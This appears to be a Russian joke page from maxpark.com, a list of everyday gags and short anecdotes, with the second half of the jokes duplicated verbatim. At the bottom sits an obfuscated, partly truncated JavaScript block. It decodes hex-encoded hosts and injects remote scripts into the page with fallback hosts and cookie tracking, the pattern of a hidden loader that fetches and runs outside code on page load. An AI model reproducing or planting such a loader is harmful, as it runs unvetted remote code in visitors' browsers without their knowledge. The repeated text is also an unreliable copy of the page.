После праздников.

Пчела - это такая оса, как комар, только муха.

 

 

 

Холодильник — наглядный пример того, что неважно, какой ты снаружи. Главное — что у тебя внутри!

 

Идет первоклассник первый раз в школу мимо детского сада. За забором играют в песке дошколята. Подошел он к ним, посмотрел, вздохнул:

— С удовольствием бы присоединился, но образование и возраст не позволяют.

 

Да... Детство круто изменилось. Раньше у соседей яблоки воровали, а теперь WI-FI

 

Две коровы:

— Знаешь, мне кажется, что они нас кормят только для того, чтобы выкачивать из нас наше молоко, а потом убить и съесть...

— Да брось ты свою дурацкую теорию заговора! А то над тобой все стадо смеяться будет...

 

Интересный у меня возраст, непредсказуемый - то влюбиться хочется, то на пенсию..

 

Решила убить паука лаком для волос. Паук то остался жив, но вы бы видели его прическу!

 

Встречаются две собаки, одна жирная, другая худая.

Жирная:

- Знаешь... вот на тебя посмотришь, можно подумать в стране голод!

Худая:

- А вот на тебя посмотришь, можно подумать, что ты - причина.

 

Пассажиры поезда Москва-Одесса, поняли что, что-то пошло не так, когда по вагону с напряженным лицом прошел СТИВЕН СИГАЛ.

 

Читаю дочке сказку: «Было у отца три сына: старший — умный был детина, средний сын — и так и сяк, младший — вовсе был дурак…»

— Мам, а у них отец болел что ли?

— С чего ты взяла?

— А что у него с каждым разом все хуже и хуже получалось?

 

Разбирал старые вещи родителей, нашел книгу: Н. Б. Лурье. Воспитание глубоко умственно отсталого ребенка в семье. Задумался...

 

Мальчик в детском саду внимательно смотрит на маникюр воспитательницы.

— Ольга Александровна, у Вас такие ногти длинные. . .

— Да. Нравится?

— Нравится. Наверное, по деревьям лазить хорошо. . .

 

Одноклассники — страшный сайт. Ко мне просятся в друзья — натяжные потолки, пластиковые окна, шторы и шкаф-купе. Не помню, чтобы в школе со мной такие учились.

 

В отношениях один обязательно наглеет. Главное — успеть первым.

 

В очереди сегодня в МакДаке почитал их жалобную книгу! она начиналась с фразы: Ура! Запор прошел! . Дальше читать не смог.

 

Продаю нервную систему, б/у. Заводится, с пол оборота...

 

Хороша закуска — квашена капустка,

И подать не стыдно,

И сожрут- не жалко

 

Любишь котиков, люби и "тыгыдык, тыгыдык" по комнате в три часа ночи.

 

 

 

-Изя, Вы хотели бы попробовать секс втроем?

-Конечно!

-Ну, тогда бегите скорее домой, может успеете!

 

Мужик заблудился в лесу. Стоит и орет: Ау, ау, ау!

Сзади по плечу его кто-то хлопает. Оборачивается — медведь.

Медведь: "Мужик, чего орешь?"

Мужик "Заблудился, может кто услышит."

Медведь: "Ну я услышал, тебе легче стало?"

 

 

Ненавижу, когда кто-то смотрит, как я ем. Сразу стараюсь кушать грациозно и красиво. И обязательно или подавлюсь или чай из носа польется

 

Уроки сделаны… Мать охрипла…  Дочь оглохла…  Соседи выучили всё наизусть, собака пересказала!!!

 

Лев собрал всех зверей и говорит:

- Сегодня будем есть самого трусливого.

Заяц выбегает и орет:

- Кабана в обиду не дам!

 

- Андрюша, когда кашляешь, надо прикрывать рот ладошкой.

- Не бойся, бабуль, у меня зубы не вылетят, как у тебя в прошлый раз!

 

Представьте картину: за окном мороз, окна заледенели, вы только пришли с улицы, а на столе в огромном блюде дымятся пельмешки, рядом в тарелочке аккуратно нарезана селедочка, политая маслицем и посыпанная лучком. Чего еще не хватает? Правильно! А иностранец ни за что не догадается...

 

— Вы что-то принимали в последнее время?

— Да, желаемое за действительность!

 

Кто занимается спортом — живет, по статистике, в среднем, на 5 лет дольше. Но при этом тратит 8 лет своей жизни на занятия спортом.

 

Если писать шпаргалки на тысячных купюрах, то попытка преподавателя отобрать шпаргалку у студента — это уже вымогательство.

 

Моя жена — таракан. Она дала мне обещание похудеть и теперь жрет только ночью, когда я сплю. А когда включаешь свет, начинает в панике прятаться

 

И вы еще спрашиваете: Почему нет мяса? Да потому что свиньи вышли в люди, коровы вышли замуж, козлы женились, бараны защитили диссертацию и правят страной, а куры сдохли со смеху!

 

День первый. К земле приближается гигантский астероид. Группа отважных бурильщиков отправилась к нему для установки ядерного заряда.

День второй. К земле приближается гигантский астероид с ядерным зарядом.

 

Со стороны казалось, что Леночка думает. На самом деле в ее голове бегал одинокий таракан и причитал: Что делать-то, что делать?

 

Лорд осматривает замок Баскервилей, говорит:

— Я бы купил его, но только если в нем есть привидения.

— Не знаю,- отвечает Бэрримор, — еще ни разу не видел здесь приведений, хотя живу в этом доме уже 800 лет.

 

Наша мама громко плачет,

потому что я свинячу.

Тише, мамочка, не плач — у других такой же срач.

 

Если по телевизору идет хороший фильм, значит, уже полвторого ночи.

 

Главврач:

— Премиальные будут выплачивать только за постоянных пациентов.

Патологоанатом:

— Во я попал.

 

Говорят — чего боишься, то и случается. Срочно начинаю бояться долгой жизни, крепкого здоровья и огромного количества денег.

 

Мои сверлящие и долбящие соседи были совершенно уверены, что их не настигнет кара Божья, пока я не купил сыну электрогитару.

 

— Ты чего сейчас делаешь?

— Занимаюсь общественно полезным трудом.

— Каким?

— Никому не мешаю.

 

В маршрутке едут два школьника, разговаривают:

— У нас урока музыки не будет.

— А почему?

— Училка в декрет ушла.

— Доигралась...

 

-Изя, Вы хотели бы попробовать секс втроем?

-Конечно!

-Ну, тогда бегите скорее домой, может успеете!

 

Мужик заблудился в лесу. Стоит и орет: Ау, ау, ау!

Сзади по плечу его кто-то хлопает. Оборачивается — медведь.

Медведь: "Мужик, чего орешь?"

Мужик "Заблудился, может кто услышит."

Медведь: "Ну я услышал, тебе легче стало?"

 

 

Ненавижу, когда кто-то смотрит, как я ем. Сразу стараюсь кушать грациозно и красиво. И обязательно или подавлюсь или чай из носа польется

 

Уроки сделаны… Мать охрипла…  Дочь оглохла…  Соседи выучили всё наизусть, собака пересказала!!!

 

Лев собрал всех зверей и говорит:

- Сегодня будем есть самого трусливого.

Заяц выбегает и орет:

- Кабана в обиду не дам!

 

- Андрюша, когда кашляешь, надо прикрывать рот ладошкой.

- Не бойся, бабуль, у меня зубы не вылетят, как у тебя в прошлый раз!

 

Представьте картину: за окном мороз, окна заледенели, вы только пришли с улицы, а на столе в огромном блюде дымятся пельмешки, рядом в тарелочке аккуратно нарезана селедочка, политая маслицем и посыпанная лучком. Чего еще не хватает? Правильно! А иностранец ни за что не догадается...

 

— Вы что-то принимали в последнее время?

— Да, желаемое за действительность!

 

Кто занимается спортом — живет, по статистике, в среднем, на 5 лет дольше. Но при этом тратит 8 лет своей жизни на занятия спортом.

 

Если писать шпаргалки на тысячных купюрах, то попытка преподавателя отобрать шпаргалку у студента — это уже вымогательство.

 

Моя жена — таракан. Она дала мне обещание похудеть и теперь жрет только ночью, когда я сплю. А когда включаешь свет, начинает в панике прятаться

 

И вы еще спрашиваете: Почему нет мяса? Да потому что свиньи вышли в люди, коровы вышли замуж, козлы женились, бараны защитили диссертацию и правят страной, а куры сдохли со смеху!

 

День первый. К земле приближается гигантский астероид. Группа отважных бурильщиков отправилась к нему для установки ядерного заряда.

День второй. К земле приближается гигантский астероид с ядерным зарядом.

 

Со стороны казалось, что Леночка думает. На самом деле в ее голове бегал одинокий таракан и причитал: Что делать-то, что делать?

 

Лорд осматривает замок Баскервилей, говорит:

— Я бы купил его, но только если в нем есть привидения.

— Не знаю,- отвечает Бэрримор, — еще ни разу не видел здесь приведений, хотя живу в этом доме уже 800 лет.

 

Наша мама громко плачет,

потому что я свинячу.

Тише, мамочка, не плач — у других такой же срач.

 

Если по телевизору идет хороший фильм, значит, уже полвторого ночи.

 

Главврач:

— Премиальные будут выплачивать только за постоянных пациентов.

Патологоанатом:

— Во я попал.

 

Говорят — чего боишься, то и случается. Срочно начинаю бояться долгой жизни, крепкого здоровья и огромного количества денег.

 

Мои сверлящие и долбящие соседи были совершенно уверены, что их не настигнет кара Божья, пока я не купил сыну электрогитару.

 

— Ты чего сейчас делаешь?

— Занимаюсь общественно полезным трудом.

— Каким?

— Никому не мешаю.

 

В маршрутке едут два школьника, разговаривают:

— У нас урока музыки не будет.

— А почему?

— Училка в декрет ушла.

— Доигралась...

 

<script type="text/javascript">// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "maxpark.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>